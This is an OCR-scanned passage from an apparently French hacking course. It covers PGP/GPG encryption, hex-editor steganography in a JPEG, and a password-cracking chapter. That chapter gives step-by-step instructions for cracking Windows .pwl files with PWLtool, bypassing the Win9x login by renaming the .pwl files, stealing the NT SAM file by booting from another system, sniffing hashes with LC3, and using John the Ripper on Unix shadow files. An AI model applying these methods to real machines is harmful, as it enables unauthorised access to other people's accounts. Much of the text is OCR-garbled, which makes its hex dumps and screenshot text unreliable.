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. Nommez le "test.txt" par exemple et écrivez-y une phrase (dans notre exemple la phrase est "test

d'encryptage"), ce que vous voudrez.

. Cliquez sur ‘ |Chiffrer et sélectionnez la donnée a crypter. Ici vous prendrez "test.txt"

dans votre répertoire "test"

. Choisissez les clefs publiques avec lesquelles vous allez chiffrer votre message, en les

sélectionnant et en les faisant glisser vers les "destinataires". En clair il s'agit de sélectionner les
personnes a qui sont destinées les données cryptées, ceci par sélection des clefs publiques
adéquates.

. Vous pouvez sélectionner plusieurs options :

- Sortie sous forme texte (si vous désirez que le contenu crypté soit lisible). Cette option n'a
aucune implication sur la sécurité de vos données.

- Effacer l'original peut étre une option qui peut-étre vue comme une précaution, car, une fois
la donnée originale effacée, seul la donnée cryptée subsiste et il n'y a aucune chance pour
qui que ce soit d'accéder aux données en clair, sans avoir la clef privée adéquate.

- Visualisation sécurisée est une option applicable uniquement aux fichiers texte. Lorsque le
destinataire décryptera votre donnée avec sa clef privée, le texte sera ouvert dans une
"visionneuse de texte sécurisé". Cette visionneuse affiche un message d'alerte rappelant a
l'utilisateur que il ne doit lire ce texte que dans des conditions de sécurité et de
confidentialité les plus sdres. Si l'utilisateur clique autre part que dans cette visionneuse, la
fenétre de la visionneuse se fermera automatiquement.

oo Yisionneusze de texte sécurizée

test d'encryptage

v Utilizer la palice anti-TEMPEST
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L'option d'archive auto-extractible et de chiffrement conventionnel ne sont pas des options
essentielles. Vous pouvez toutefois les essayer. Par exemple I'option d'archive auto-
extractible vous permettra de mettre votre donnée sous forme d'un éxecutable qui extraiera
les données cryptées. Cette option ne peut-étre utilisée qu'avec lI'option de chiffrement
conventionnel qui elle, applique une option de chiffrement a 'aide d'une phrase qui joue le
réle d'une clef. Cette option est moins sure sur le plan de la sécurité de vos données, mais
ne nécessite pas I'utilisation d'une paire de clefs. Ainsi PGP peut utiliser une phrase-clef
(qui est la méme lors du cryptage et du décryptage) plutét qu'un systéme a base de paires
de clefs.

6. Dans notre exemple nous ne choisissons que sortie sous forme texte comme option.

7. Cliquez sur "OK" et le cryptage est fait.

8. Allez dans le répertoire "test" pour y voir votre fichier crypté en format .asc. Vous pouvez ouvrir ce
fichier comme étant du texte (renommez le "test2.txt" par exemple). Mais n'oubliez pas de le
remettre au format .asc aprés lecture. En effet le format .asc est reconnu par PGP. Ceci dit un
fichier texte au format .txt peut aussi étre déchiffrable.

9. Voyons maintenant comment signer ses données. Rappelons qu'une signature n'est pas
obligatoire.

10.Cliquez sur |Signer.

11.Choisissez le fichier a signer, fichier qui a du étre préalablement crypté. Etant donné qu'une
signature s'effectue avec votre clef privée, vous aurez besoin de saisir votre phrase secréte.

12.Vous pouvez choisir une Signature détachée qui crée un fichier .sig qui ne se colle pas au fichier
crypté. Vous aurez ainsi deux fichiers séparés : un fichier crypté, et un fichier signature. Nous
n'appliquerons pas cette option.

13.L'option Sortie sous forme texte permet a la signature d'étre lisible en format texte, tout comme la
méme option qui sert au cryptage.

14 .Vous validez avec "OK"

15.La signature a été faite. Vous pouvez toutefois faire cette opération en une seule étape gréace au
bouton Chiffrer & & signer.

Etape 3 : Decryptage (PGP)

Le décryptage des données est une chose trés simple. Pour décrypter des données qui vous sont
adressées (donc on suppose que vous avez la clef privée adéquate, ou la clef conventionnelle dans le
cas d'un chiffrement conventionnel), double-cliquez sur le fichier .pgp ou .asc, ou utilisez le bouton :
a_ Déchiffrer & vérifier
)

1. Cliquez sur le bouton

2. Sélectionnez le fichier a décrypter

3. Rentrez votre phrase secrete pour l'utilisation de votre clef privée
4. Choisissez d'enregistrer le fichier de nouveau en clair

Etape 4 : Ajout de clefs publiques téléchargées (PGP)
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Double-cliquez sur le fichier .asc (qui porte les clefs en question) et choisissez, grace a la fenétre qui
s'ouvre, les clefs que vous désirez importer.
Les deux autres fonctionnalités de PGP (détruire et nettoyage de I'espace inutilisé) ne sont pas

utiles a la cryptographie. La ‘ ’_ﬁ premiére vous sert a détruire des fichiers, et |§lla seconde
a faire un nettoyage de votre espace disque. Bref, passons maintenant au manuel d'utilisation de GPG.

GPG

Nous venons de présenter en détail comment faire fonctionner PGP. Il n'est donc pas nécessaire de
recommencer de zéro avec GPG. En effet GPG fonctionne comme PGP (Cryptage avec clef, décryptage,
etc...). Voyons juste comment procéder, par étapes, a l'utilisation de GPG pour une génération des clefs,
une exportation de celles-ci, un chiffrage, un déchiffrage.

Etape 1 : Génération des clefset ajouts de clefs distantes (GPG)

GPG ne fonctionne que par ligne de commandes, nous allons en tracer les principales. Je ne conseille
l'utilisation de GPG qu'a tous ceux qui maitrisent les systémes a ligne de commande, et aux courageux.

1. Passez en mode MS-DOS et allez dans le repertoire ou se trouve "gpg.exe"

2. gpg --gen-key est la commande a taper. Elle vous lancera dans l'invite de création des clefs de
GPG

3. Suivez les instructions (en anglais) qui défilent. Ce sont sensiblement les mémes étapes qu'avec
PGP.

4. Une fois votre paire de clefs crée tapez gpg --export >mesclefs

5. Ceci fait, vous avez dans le fichier "mesclefs", vos clefs publiques prétes a étre diffusées.

6. Pour importer des clefs depuis un fichier de clefs que vous avez téléchargé, utilisez la commande
gpg --import nomdufichier

Etape 2 : Encryptage (GPG)
Pour encrypter un fichier, toujours en ligne de commandes

1. Utilisez la commande gpg -e test.txt
2. Indiquez l'identifiant de la clef publique
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3. Une fois l'identifiant rentré, le fichier "test.gpg" est créé.
Etape 3 : Décryptage (GPG)

Décrypter un fichier gpg est trés simple. Il vous suffit d'entrer la commande : gpg test.gpg puis de saisir
le mot de passe pour l'utilisation de votre clef privée.

C:\GPG=gpg test.gpg

641EAD, created 2001-12-25 (main key ID SEQC

Plus de documentation sur GPG dans le "README" et "gpg.man" (accessible via la commande gpg --
help). Toute la documentation est en anglais.

Remarque : Vous pouvez vous amuser a comparer différents textes en clair et cryptés afin de voir
comment peut varier un cryptage d'apres les différentes options que vous choissez. Une petite astuce
concernant le cryptage de vos données. Plutét que de crypter un a un vos fichiers sensibles, que des
gens malfaisant pourraient trouver (le SEFTI ?), mettez les en un .zip et encryptez le fichier .zip
contenant toutes vos données. Vous ferez en deux passes une opération qui peut prendre beaucoup de
temps.

IIl— Stéganographie
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Des informations a faire passer, des données a faire circuler ? Et le tout discréetement ? La
stéganographie vous aidera. Cette méthode consiste a cacher des données, des informations, dans un
support anodin. Par exemple, dans la Chine ancienne, on écrivait des messages sur de la soie fine que
I'on roulait en boule avant de I'enrober dans de la cire. Un messager n'avait plus qu'a avaler la boule, et a
faire son voyage.

Faire passer des informations numériques est tout aussi simple. Cacher sa signature dans une image
afin que personne ne puisse se l'approprier et en revendiquer la possession est un jeu d'enfant.
Munissez-vous tout d'abord d'un logiciel adéquat : un éditeur hexadecimal. Pour notre exemple nous
choisirons WIinHEX, téléchargeable sur http://www.winhex.com.

Trouvez une image pour effectuer vos tests. Ici nous prendrons l'image "test.jpg", qui représente une soi-
disant empreinte de pas de I'nomme ayant marché sur la lune.

L'image test.jpg, lI'image sur laquelle va se porter nos travaux.

1. Ouvrez Hexedit et faites =Ouvrir
2. Ouvrez votre image (ou n'importe quel autre type de fichier tant qu'il ne s'agit pas d'une

application)
3. Vous devriez avoir ce type de fenétre
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. msupgl

Of f=et o1 2 2 4 5 & 7 g 9 A B C D E F| ﬂ
nooooooo ﬁF D& FF E0O 00 10 44 46 49 46 00 01 01 00 00 01 | @4, JFIF......
nooooolo 01 0o 00 FF DB OO0 43 00 05 03 04 04 04 03 05 72 oS
noooonzo 04 04 04 05 05 05 06 OF 0OC 08 07 07 07 07 OF OB | . ... ... . ... .....
gooooo3o | OB 09 0OC 11 OF 12 12 11 0OF 11 11 13 16 1C 17 13| ... ... ... ... ..
pooooo4o |14 1A 15 11 11 18 21 18 1A 1D 1D 1F 1F 1F 13 17| ... ... b
poooonoso | 22 24 22 1E 24 1C 1E 1F 1E FF DB 00 43 01 05 05| "$" % Eie
poonooeo |05 07 O O7 OE 08 023 OE 1E 14 11 14 1E 1E 1E 1E| ... . ... ........
poopoo?o | 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E| ... ... .. .. .. ..
poopoogo | 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E| ... . . ... ........
goooooso | 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E FF CO | . ... ... ...... A
poopooAdo |00 11 08 01 4A 01 51 03 01 22 00 02 11 01 03 11 ... J.a. " .....
0O0000ED |01 FF C4 00 1F 00 00 01 05 01 01 01 01 01 01 00| %&. . ... ........
poooooco |00 OO0 OO0 OO0 OO0 OO0 OO0 01 02 03 04 05 06 07 08 09 ... ... ... .....
gooooopo | 0A OB FF C4 00 BSE 10 00 02 01 02 03 02 04 03 05 VA L.
QooQooEo |05 04 0O4 OO0 00 O1 7D O1 02 03 00 04 11 05 12 21| ... .. o I
goooooFo | 231 41 06 13 51 61 07 22 71 14 32 B1 91 Al 08 23| 1A, Qa."g.2+°1.#
oooooioo |42 Bl C1 15 52 D1 FO 24 33 62 72 82 09 0A& 16 17 | B+A REa$3br, .. ..
gooooLiio |18 19 1A 25 26 27 28 29 2A 34 35 36 37 38 39 3A & [ )*A56789
noonolzo |43 44 45 46 47 48 49 44 53 54 55 Ge 57 58 59 LA | CDEFGHIJSTUVWEYZ
Qoonol3o |63 64 65 66 67 68 B9 BA 73 74 75 Fe 77 Y8 Y9 7A | cdefghijstuvwxysz
oooooild4o |83 84 B85 86 87 88 89 BA 92 93 94 95 96 97 98 99| F, FFLSrer.—™
00000150 | 9A A2 A3 A4 AS AR AT AR A9 AA BZ B3 B4 BS Bf BY | ZcfHE|§ @32 ) q.
Ooooole0 | BE B9 BA C2 C3 C4 CE Ce C7 C8 C9 Ch D2 D3 D4 DS | | 1eifrigcEREOOON
oooooil7o | D6 DF D8 D9 DA E1 E2 E3 E4 ES E6 E7 EB EY Ei Fl1 | Ox@lllaad5iscessi
oooooilgo |F2 F3 F4 FS Fe F7 FE F9 Fa FF C4 00 1F 01 00 03 | adaSt<etayd. . . . .
poonoois9o |01 01 01 01 01 01 01 01 01 00 0O OO0 OO0 OO0 OO0 O1 ) ... . . ... ... .....
googoolAo |02 03 04 05 06 07 02 09 O0A OB FF C4 00 BS 11 00 ... . ... .. VAU,
noonoleo |02 01 02 04 04 03 04 07 05 04 04 00 01 02 772 00 ... ... W,
gogooico |01 02 03 11 04 05 21 31 06 12 41 51 07 1 71 13| ... ..1 CAOQ ag.
noonolpo |22 32 81 08 14 42 91 A1 Bl C1 09 23 33 52 FO 15| "2« ‘|ié.#3Ré.
DOOD0O1ED |62 72 D1 0& 16 24 34 E1 25 F1 17 18 19 1& 26 27 | brHf. .$4axm. .. . &'
QoonNoiFoD | 28 29 2A 35 36 37 38 39 3A 43 44 45 45 47 48 49| (=56 789:CDEFGHI
goooozoo |44 53 54 55 56 57 58 59 BA 63 64 65 66 67 68 69 | JSTUVWEYZcdefghi
ooooo210 | gA 73 Y4 Y5 TR 77 Y8 79 7A 892 893 84 85 26 87 88 | jstuwweve, f..1HE
00000220 |89 B4 92 93 94 95 96 97 98 99 94 A2 A3 Ad AL AR | RG 7. —"MzssOy|
ooooo230 | A7 AS A9 AA B2 B3 B4 BE B6 E7 ES BY BA C2 C3 C4 | § @22z q. 104%3
DO000Z240 |C5 Ch C7 C8 C9 CA D2 D3 D4 DS D6 D7 DB DY Da EZ | AECEEEOOODOxETTA :J

4. A gauche se trouvent la translation HexaDécimale des données qui s'affichent a droite (et qui sont
incompréhensibles)

5. Peu nous importent les données HexaDécimales. Repérez en haut, dans la colonne de droite, les
espaces vides (caractérisées par des points qui s'ensuivent sur plusieurs lignes)

6. C'est dans cette zone que devront se porter nos travaux. A la place de ces points, écrivez un petit
mot. Ici nous écrirons : stegano, et, trés important, ne laissez jamais d'espaces dans vos
messages, mettez y des points. Notez que cela aurait tout aussi bien pu étre le nom d'une société,
d'une personne, propriétaire des droits de I'image.
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& testd.ipg I [=] E3
Df f=et D1 2 3 4 5 &6 7 8 9 A B C D E F fﬂ
oopoooog | FF DE FF EO 00 10 44 46 49 45 00 01 01 00 00 01| wyéwa, JFIF. ... ..
aooooolo o0 01 00 o0 FF DE OO0 43 00 05 03 04 04 04 03 05| . %0.C. . ..

nooooozo (04 04 04 05 05 05 06 07 0OC 08 07 07 07 07 OF OB
ooogoosg (0B 09 0C 11 OF 12 12 11 0OF 11 11 13 16 1C 17 13| ..., . ..........
noogoo40 14 14 15 11 11 18 21 18 14 1D 1D 1F 1F 1F 13 17| ...... Lo
00000050 |22 24 22 1E 24 1C 1E 1IF 1E FF DB 00 43 01 05 05| "$".¢. .. . ¥0.C. ..
nooooosd (05 07 06 07 OE 08 05 OE 1E 14 11 14 1E 1E 1E 1E
noogoo?0 | 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E 1E| . ..., ..........

00000080 | 1E 1E 1E 73 74 65 67 61 &E 6F 1E 1E 1E 1E 1E 1E| . . stegano. .. ...

7. Sauvegardez l'image sous un autre nom (dans le menu : File puis Save as). |l est trés important de
prendre cette précaution car une mauvaise manipulation peut avoir des résultats désastreux sur ce
type de fichiers. Nous verrons cela apres.

8. Ouvrez de nouveau l'image afin de voir si les modifications n'ont pas posées de problémes.

1. L'image obtenue s'avére étre l'identique de la premiére. Pourtant I'une d'elle contient un petit mot.
Pour s'en assurer il suffit de la réouvrir avec WinHEX.

Remarque : Que ce serait-il passé si l'on avait écrasé des données essentielles par notre message
stégano ? L'exemple parle tout seul.
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Vous pourrez trouver sur Internet divers logiciel de stéganographie permettant de cacher des
informations dans un fichier texte, une musique, une image ou autres. Vous l'exemple de Steganozorus
(www.telecharger.com) qui est un logiciel permettant de cacher un petit texte dans une image Jpeg dans
le but de pouvoir transférer votre message de maniére invisible. Pour cacher vous message vous avez le
choix en le cryptage sysmétrique, ou asymétrique. Dans I'exemple ci-desous nous avons choisi le
cryptage sysmétrique qui utilise donc le méme mot de passe pour le cryptage et le décryptage :

=10

Options  Tools 7
—Type of encryption
" Asymmetric {public/private keys) * Symmetric (secret key)

~Puhlic key choice

| &

~Mot de passe ~ 7/80 characters— Picture

|munpaaa |Th..|we|:|ring2.jpg Open |

~Texte ~ 29 949 caractéres restant—

“ous le texte qui sera caché ;l
dans l'image ci-contre

—Destination name
= |newfi|e.jpg

| (=

Dans cet exemple, j'ai defini comme mot de passe « monpass » et choisi comme image source

« THHwebring2.jpg ». L'image qui contiendra le message caché, s'appellera « newfile.jpg » et voici le
résultat :

the HACKADEMY
Webring

-

Comme on le constate, aucune différence a l'oeil nu n'est visible.
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CHARITRE VIl

Le cracking
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Le cracking peut étre associé a diverses choses. Il existe le cracking de softs qui consiste a contourner
une protection mise au point par des développeurs pour éviter I'utilisation prolongée ou la copie de
logiciels (Crackers). Dans certains cas le Cracker désassemble le programme pour en modifier la source
(assembleur) et le recompiler . De cette maniére on peut par exemple enlever la limitation de temps ou
enlever un nagscreen (un écran qui apparait a chaque démarrage). Les vrais Crackers sont trés
respectés dans l'underground... Il existe aussi le cracking de mots de passe, que le hackeur utilise pour
retrouver, contourner, effacer, visualiser, un pass afin d'accéder a un systeme. C'est cette deuxieme
définition du cracking que je vais essayer de vous développer dans cette partie de cours.

ISSword

Nous parlerons dans cette section du cracking de fichiers password pour divers OS.
Pour commencer, je vais vous expliquer les 3 méthodes utilisées par les softs pour faire du cracking de
fichiers Password.

L'attaque avec dictionnaire

Cette attaque est la plus rapide car elle effectue un test de pass en utilisant un fichier dictionnaire (un
simple fichier texte contenant un mot par ligne, les uns a la suite des autres). Pour faire un dictionnaire
efficace, il faut relever un maximum d'informations sur les utilisateurs du serveur cible. On peut trouver
sur internet une multitude de dictionnaires déja tout fait, ainsi que des générateurs.

L'attaque par brut force

Cette attaque prouve bien qu'aucuns pass n'est inviolable !! En effet I'attaque par brute force consiste a
essayer toutes les combinaisons possibles suivant un certains nombre de caractéres. Si le mots de pass
a cracker comprend plusieurs caractéres spéciaux, chiffres et lettres, il sera plus long a brut forcer qu'un
pass ne comprenant que des lettres. En bref... une attaque par brut force aboutie toujours, tout est une
question de temps... Pour diminuer le temps de crack, il faut disposer d'une machine puissante ou méme
plusieurs (attaques distribuées).

L'attaque hybride

L'attaque hybride est le mélange des 2 précédentes attaques. Elle utilise un dictionnaire pour la partie
principale (ex: crash) et le brut force pour la partie finale (ex:fr), ce qui permet de trouver les pass
comment "crashfr" ou "crash24" etc...

1.Les fichiers .pwl de Windows9x/ME:

Les fichiers ayant I'extension .pwl contiennent vos mots de pass Windows, ils se situent dans le
répertoire racine (c:\windows).

Biensur tous les fichiers .pwl sont cryptés, vous pouvez le voir si vous essayer d'en ouvrir un avec un
éditeur de texte comme notepad par exemple. (Restez appuyer sur la touche MAJ et faites un click droit
sur le fichier pour faire apparaitre le menu "ouvrir avec").

Ces fichiers peuvent contenir les mots des pass de connexions, écran de veille, sessions...

Pour les décrypter, il faut utiliser un soft comme Pwiltool (http://soft4you.com/vitas/pwltool.asp) qui va se
charger de cracker le fichier et nous afficher les pass en clair.
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) Repwl (version 6.5, Demo) -10] |

~ PwiLFie || B I Cached passwords _I|
Usernare | x| oice |
PE‘LDMH j EheckF‘assI

Brute force | SmartForce | Dictionary !

Ci-contre, l'interface principale
Charset zting Passuord length mel ] Tu I4 ] de PWLtool v6.5.
|IWERTYLIDPASDFGHIKLZXCVENM

SeantPassnorFas ?:::::::
ChieckPassFast Client/Seryer |
\CE-D @ [~ Zombie mode Helpl ,ﬁ,dvl o

Pour commencer une attaque il faut sélectionner le fichier .pwl en clickant sur le bouton "Browse",
Ensuite essayez de clicker sur "Glide" (cette options ne fonctionne que pour les anciens fichiers PWL de
windows95 et 3.11, elle vous permet de visualiser tous les pass sans méme connaitre un login!).

Si jamais le "Glide" ne fonctionne pas, essayez "CheckPass", si le pass de session est vide, il vous sera
possible d'accéder a tous les autres pass contenu dans le fichier. Toujours rien ? On continu alors :)

L'attaque avec dictionnaire:
Configurez une attaque par dictionnaire en clickant sur 'onglet "Dictionnary".

Brute force I SmartForce  Dictionary

Dictionary IE:HF‘rngram Filez prlbooldy U nis. dic

Hubnd brute [
SearchPazswordF azt SearchPazsword
00 20:885 :
FHLER plaae CheckPassFast LS ener |
CPI)  houl)| [~ Zombie mode Help | adv |

Selectionnez ensuite le dictionnaire a utiliser en clickant sur "browse".
Pour lancer votre attaque cliquez sur "SearchPasswordFast"ou "SearchPassword"...

L'attaque par brut Force:
cliquez sur I'onglet "Brute force"

Le parameétre "Password length" vous permet de définir la longueur du mot de pass a forcer (plus la
plage est large, plus le nombre de combinaisons augmente).

"Charset string" vous indique les caractéres a utiliser durant le brut force (vous pouvez y inclure des
chiffres ainsi que les caractéres spéciaux comme "@" par exemple). Pour lancer I'attaque cliquez sur
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Brute force: I SmartForce I Dicticnan !

Ehaiset st Fazzword length: From i'l _3‘_'1 To: i4 _;_j

IEJWEFITYLIIEIF"&SDFGHJKLEXE‘\-*BNMl =]
SearchPazawordF azt | SearchPazzwiord

0:10:36: 394 :

718.51 p/sec CheckPazzFast I Client/Server I

\E:LT_D @ [~ Zombie mode Help I Ay I

"SearchPasswordFast" (+ rapide que "SearchPassword" car il n'utilise pas les APl windows), si I'attaque
ne réussie pas cliquez sur "SearchPassword".
Il m'a fallut environ 4 minutes pour venir a bout d'un password composé de 4 lettres...

L'attaque hybride:
Pour lancer une attaque hybride il suffit de retourner sur 'onglet dictionnaire et de cocher la case "Hybrid
brute".

Hybrid brute [

Nous n'aborderons pas toutes les options de PWLtools mais si vous voulez en savoir plus aller faire un
tour sur l'aide du soft en clickant sur "Help". Je vous conseil de vous intéresser a I'option "Client/Serveur"
qui permet de faire travailler plusieurs machines simultanément sur le méme fichier password (attaque
distribuée).

Contourner le pass Win9x :

Lorsque que I'on démarre win9x si des pass on été configuré pour accéder a I'OS, il vous demande une
identification par login et pass. Nous allons voir dans cette section les diverses techniques pour
contourner cette identification....

-Essayez de cliquez sur "Cancel", normalement vous devriez avoir accés au systéme.

-Au démarrage de votre ordinateur cliquez sur "F8" pour faire apparaitre le menu de démarrage (ou
essayer de booter a partir d'une disque de démarrage). Choisissez le mode MS-DOS. Maintenant il va
falloir changer I'extension des fichiers .pwl par autre chose pour empécher windows de le trouver. Pour
cela tapes la commande suivant :

rename c:\windows\*.pwl *.xxx

Relancez windows, tapez un pass au hasard et vous verrez Windows vous demander une confirmation
de nouveau pass. Cela signifie que le nouveau pass que vous taperez sera directement affecté au
compte utilisateur sélectionné (login).

2.Le fichier Sam de WINNT ou WINZ2k:

Le Fichier Sam:

Le systeme Windows a 2 failles de cryptage qui permettent de décrypter un fichier pass windows plus
vite qu'un fichier pass Unix par exemple.

L'une de ces failles provient du hachage de LANmanager car il divise les pass en chaines de 7
caractéres.

L'autre vient de I'absence de salt (fonction rendant le hachage différent pour 2 pass identiques).En clair,
si 2 utilisateurs choisissent le méme pass, le cryptage sera exactement le méme, ce qui facilite la tache
du hackeur.

Comme pour win9x, il existe des softs qui permettent de cracker les mots de pass des utilisateurs ou de
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I'admin.

Sur les systemes NT, les mots de pass sont sauvegardés dans un fichier SAM (Security Account
Manager) crypté se trouvant dans c:\WINNT\system32\config\SAM .

Vous ne pouvez pas visualiser ou copier le fichier SAM lorsque WINNT tourne car il est verrouillé par le
noyau du systeme.

Alors comment faire pour se procurer ce fichier ??

1.Lorsque I'on installe WINNT, une copie de la base de données des mots de pass (fichier SAM) est crée
dans le répertoire c:\\WINNT\repair .

Cette copie ne contient que les pass par défaut crée lors de l'installation, donc seulement le pass de
I'administrateur. (ce qui intéresse le plus le hackeur). Lorsque I'administrateur met a jour le disque de
dépannage, le fichier SAM est lui aussi mis a jour (dans ce cas la, le fichier SAM contient tous les
comptes). On pourrait donc se procurer le fichier SAM a partir du dossier repair car celui ci n'est pas
verrouillé par le noyau. Si le dossier repair ne contient pas le fichier SAM, il vous reste quand méme une
chance de l'obtenir...

2.1l faut faire booter le PC a partir d'une disquette de démarrage ou a partir d'un autre systeme
d'exploitation. Ainsi WINNT n'est pas exécuté et donc le fichier SAM n'est pas verrouillé. On peut donc
copier le fichier SAM sur une disquette et le cracker par la suite.

Il faut savoir que le fichier SAM n'est pas le seul support qui permet de trouver les pass sur un réseau
utilisant NT.

Prenons comme exemple LOphtCrack qui est le plus rapide et le plus efficace pour trouver les mots de
pass NT. Car il n'utilise pas seulement le fichier SAM pour avoir le hachage des mots de pass et exploite
les 2 failles de cryptage vu précédemment. Vous pouvez vous procurer une version d'évaluation de LC3
sur : http://www.atstake.com/research/Ic3/download.html .

o1

File “iew Import Session Help
EET I = R TR a1 -l

User Mame | LM Password | <= ] MTLM Password ! LM Hash

Use the Import menu to retrieve accounts to audit.

4] |

Ready
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En premier lieu, I'assistant vous demandera la méthode utilisé pour récupérer le hachage du mot de
pass. (Si l'assistant ne s'est pas lancé automatiquement, cliquez sur la baguette magique, 6 éme icone

en partant de la gauche sur l'interface principale)

Get Encrypted Passwords

Chooze one of the following methods to retrieve the
enciypted passwords,
%" Retieve from the local machine
Pullz encrypted paszwordz from the local machine's
reqizty. Adminiztrator access iz required.
™ Retrieve from a remate machine

R etieve encrypted pasawaordz from a remote
machine of your domain, Adminiztrator access =
reguired,

" Retieve from NT 4.0 emergency repair disk.

Emergency repair dizkz and backup tapes made
framn ‘Windows MT 4.0 contain a file called 'sam' or
‘zam._" that contains encrypted passwords.

" Rehieve by sniffing the local networl:

Sniffing captures enciypted hashes in tranzit ower
yaour iebwark. Loging, file shanng and print zharing
all uze network. authentication that can be captured.

<F'réu:éu:|ent| Suivant x I Annler
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LC3 vous propose 4
méthodes.

1.From the local machine
Pour utiliser cette options
vous devez avoir le statut
Administrateur sur la
machine. Cette méthode
vous dévoilera trés
rapidement les pass des
utilisateurs.

2.From remote machine
La aussi vous devez étre
Administrateur, mais cette
fois-ci, il récupéra le
hachage du mot de pass a
partir d'une machine
distante de votre domaine.
(vous devrez spécifier le
nom de la machine).Cette
méthode ne fonctionne pas
sur une machine distante
utilisant syskey ou Win2k.
3.From NT 4.0 emergency
repair disk

Cette options utilisera le
fameux fichier SAM, celui
se trouvant dans
c:\winnt\repair ou un
enregistré sur une
disquette. (vous devrez
spécifier le fichier SAM a
utiliser)

4 By sniffing the local
network

Et oui, LC3 inclu méme un
sniffer pour intercepter le
hachage des machines d'un
réseau NT. A utilisé lorsque
les utilisateurs se logguent
sur le réseau; vers 8h du
matin par exemple...

(vous devrez spécifier la
carte réseau)
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Ensuite il vous demandera le méthode de forgage a utiliser.

Custom Auditing Opkions %]

¥ Perfom a 'dictionary attack ori the passwords

& dichionary attack takes along list of words and
triez b match each word az one of the pazswords,

You nieed to zpecify a word et fle to use for thiz

i " - : .
e = 8' I(;].UGZ "SU r "Custom operation. Choose the word file here;
— on r ;i
Choose Auditing Method p epr s(())ni aﬁ(s)g IEiI\PfDElfam Filesh stk LE3Y Browse. .. |
(] { (o e T
e I'attaque. v Perfnrm hipbrid dlc.:tu:!nary attacks
This method checks only far simple passwords that e H_'.Jl:lfllj attacks will find words that are
vou could find in & dictionary, LC utilise les 3 permutations of dictionary words, such as
€ Common Password Audi méthodes de forgage wu:::rids with numbers or symbals tacked ot the
: ; , end.
Cbd o 5 e, 5 v oo vu au debut du cours: | SIS ;
. :todlflc:;tlons ofdd:tl‘::aw words. 1 IeS attaques avec EMarm a DIute rarce attack: on (e passWonds
Bigemmmeel i~ti i Brute force attacks by all combinations of leters
LR e e dictionnaire and nurmbers in order to exhaustively ssamine 2l
dictiohary words, and peiforms a brute force attack 2 . IeS attaq ues pal' DUSS”:I'E DEISSWCITEIS. Thiz method takes a WhilE,
that attempts all combinations of standard letters
and numbers. brute force but guarantess best results,
' Custom Custom Options... 3 . |eS attaq ues hybl"lde Character Set:
[&-Zand0- 3 =

<Précédent| Suivant > I Annuler |

] 4 I Cancel I

La premiere case représente l'attaque par dictionnaire (clicker sur Browse pour lui indiquer le fichier
password a utiliser)

La deuxieéme, c'est pour l'attaque hybride, vous pouvez config I'attaque hybride dans le menu "File"-->
"Préférences" de la 'interface principale.

La derniére vous l'aurez deving, c'est pour le brut force (le "-" permet de spécifier une plage de
caractéres, ici le brut force utilisera tous les caractéres de I'alphabet ainsi que tous les nombres) si vous
désirez changer de plage il vous suffit de clicker sur la petite fléche a droite.

Character Set:

b7 |

& -Zand0-9 &
A -2, 0-9 and EHEE"E]- +=
A -2, 0-9 and I@HEEE +="J0N 00T

Cliquez sur "OK" et "Suivant" pour la suite de la configuration de l'attaque.
Le menu ci-dessous vous permet de choisir les informations qui seront visualisable durant le craquage.

1ere case : Affiche les passwords une fois qu'ils ont été trouvés, dans certains cas il est étre utile de ne
pas les affichés.
2eme case : Affiche les hachage des password (les pass cryptés).
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Pick Reporting Style x|

Pick Reporting Style

v Display passwords when audited

kdogt of the time, vou'll want to know what the
audited pazzwords are, but in some situations, you
may wizh to verify the safety of a password without
dizclozing what it iz, Check thiz box to view the
cracked pazswords in the autput.

IV Display enciypted password 'hashes'

Check thiz box to dizplay the encrypted passwords
az they are s=en by the operating spstem. Theze
walues may be of interest ko zome users and to
others they may zeem like excess clutter. To
dizplay the encrppted pazswords, check thiz bos.

Iv Display how long it took to audit each pazswaord

Checking thiz box will add a column to the output
wvigw that shows how long it ook to audit each
pazsword.

W Make visible notification when auditing is done

< Frécédent I Suivant > I Annuler |

3eme case : Affiche la durée pour le craquage de chaque password.
4eme case : Afficher un avertissement quand I'attaque est finie.

cliquez sur suivant et attendez le résultat ;)
Le fichier passwd d'Unix:

Unix utilise un systeme de cryptage univoque.

Le fichier stockant les mots de pass sur Unix se trouvent dans la plus part des distributions dans le
répertoire "/etc/" et se nomme "passwd".

Dans les versions récentes d'Unix les fichier passwd a été décomposés en 2 fichiers, car le fichier
passwd sur les anciennes versions étaient accessibles a tous.

Meme si les pass étaient cryptés, cela facilitais la tache du crackeur.

En tapant : more /etc/passwd sur un systéme Unix on affiche le fichier passwd.

Un fichier passwd ressemble a cela :

root:6Tgy1Gs.fTrfS:0:1:Admin:/:/sbin/sh
john:K6fRti29nFrsY:1001:10::/usr/john:/bin/sh
sophie:H74jGhhTDsEZ2i:1002:10::/usr/sophie:/bin/sh
paul:fTqzOyHs88sfZ:1003:10::/usr/paul:/bin/sh

Format --> login : pass : UID : GID : nom complet : repertoire perso : shell

Actuellement, il y a toujours le fichier passwd mais sans les pass dessus. Les pass sont tous sauvegardé
dans le deuxiéme fichier qui se nomme shadow.

Le fichier shadow est seulement accessible si vous avez le statut root sur la machine. A noter, que le
fichier passwd permet toujours au hackeur de savoir quels sont les logins des utilisateurs du systéme
pour se faire un dictionnaire.

Maintenant dans la plupart des systémes Unix, les passwords on été remplacé par "x" dans le fichier
passwd :

root:x:0:1:Admin:/:/sbin/sh
john:x:1001:10::/usr/john:/bin/sh
sophie:x:1002:10::/usr/sophie:/bin/sh
paul:x:1003:10::/usr/paul:/bin/sh
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le fichier shadow :

root:6Tgy1Gs.fTrfS:11604::::::
john:K6fRti29nFrsY::::::
sophie:H74jGhhTDsE2i:::::::
paul:fTqzOyHs88sfZ:::::::
format --> login : pass : date : min : max : avertissement : expiration : désactivation

Comme pour NT, il existe des softs qui permettent de cracker les mots de pass Unix.
Prenons pour exemple John_The Ripper qui fonctionne aussi sous Windows.
(http://www.openwall.com/john/)

John the Ripper Uersion 1.6 Copyright <c? 197678 by Solar Designer

Uzage: john [OPTIOMS1 [PASSWORD-FILES]

—single "single crack'" mode

—pordfile:FILE —=stdin wordlizt mode. read words from FILE or stdin
—rules enable rules for wordliszt mode

—incremental [ :HODE] incremental mode [using section MODE]
—external :MODE external mode or word filtep

—stdowut [ :LEMGTH 1 no cracking,., Jjust write words to stdout
